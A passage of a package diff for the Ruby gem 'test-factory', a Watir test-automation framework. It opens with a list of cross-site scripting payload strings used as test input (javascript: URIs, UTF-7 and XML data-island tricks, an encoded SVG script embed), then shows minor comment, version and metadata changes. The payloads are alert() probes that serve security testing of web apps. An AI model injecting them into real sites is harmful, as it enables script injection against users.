"<IMG SRC=javascript:alert('XSS')>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=javascript:alert('XSS')>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=javascript:alert('XSS')>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
|
@@ -114,6 +123,7 @@ module StringFactory
|
|
114
123
|
end
|
115
124
|
|
116
125
|
# Returns a random hex string that matches an HTML color value.
|
126
|
+
#
|
117
127
|
def random_hex_color
|
118
128
|
"#"+("%06x" % (rand * 0xffffff)).upcase
|
119
129
|
end
|
@@ -122,6 +132,7 @@ module StringFactory
|
|
122
132
|
# @param text [String] The text to be converted to snake case.
|
123
133
|
# @example
|
124
134
|
# damballa("A String of Fun Stuff (for you)") => :a_string_of_fun_stuff_for_you
|
135
|
+
#
|
125
136
|
def self.damballa(text)
|
126
137
|
text.gsub(/([+=|\\\.~@#'"\?`!\{\}\[\]\$%\^&\*\(\)])/, "").
|
127
138
|
gsub(/([-\/\ ])/,"_").
|
data/test-factory.gemspec
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
spec = Gem::Specification.new do |s|
|
2
2
|
s.name = 'test-factory'
|
3
|
-
s.version = '0.2.
|
3
|
+
s.version = '0.2.1'
|
4
4
|
s.summary = %q{rSmart's framework for creating automated testing scripts}
|
5
5
|
s.description = %q{This gem provides a set of modules and methods to help quickly and DRYly create a test automation framework using Ruby and Watir (or watir-webdriver).}
|
6
6
|
s.files = Dir.glob("**/**/**")
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: test-factory
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.2.
|
4
|
+
version: 0.2.1
|
5
5
|
prerelease:
|
6
6
|
platform: ruby
|
7
7
|
authors:
|
@@ -9,7 +9,7 @@ authors:
|
|
9
9
|
autorequire:
|
10
10
|
bindir: bin
|
11
11
|
cert_chain: []
|
12
|
-
date: 2013-
|
12
|
+
date: 2013-02-08 00:00:00.000000000 Z
|
13
13
|
dependencies:
|
14
14
|
- !ruby/object:Gem::Dependency
|
15
15
|
name: watir-webdriver
|
@@ -47,7 +47,6 @@ files:
|
|
47
47
|
- lib/test-factory/string_factory.rb
|
48
48
|
- lib/test-factory.rb
|
49
49
|
- README.md
|
50
|
-
- test-factory-0.1.11.gem
|
51
50
|
- test-factory.gemspec
|
52
51
|
homepage: https://github.com/rSmart
|
53
52
|
licenses: []
|
data/test-factory-0.1.11.gem
DELETED
Binary file
|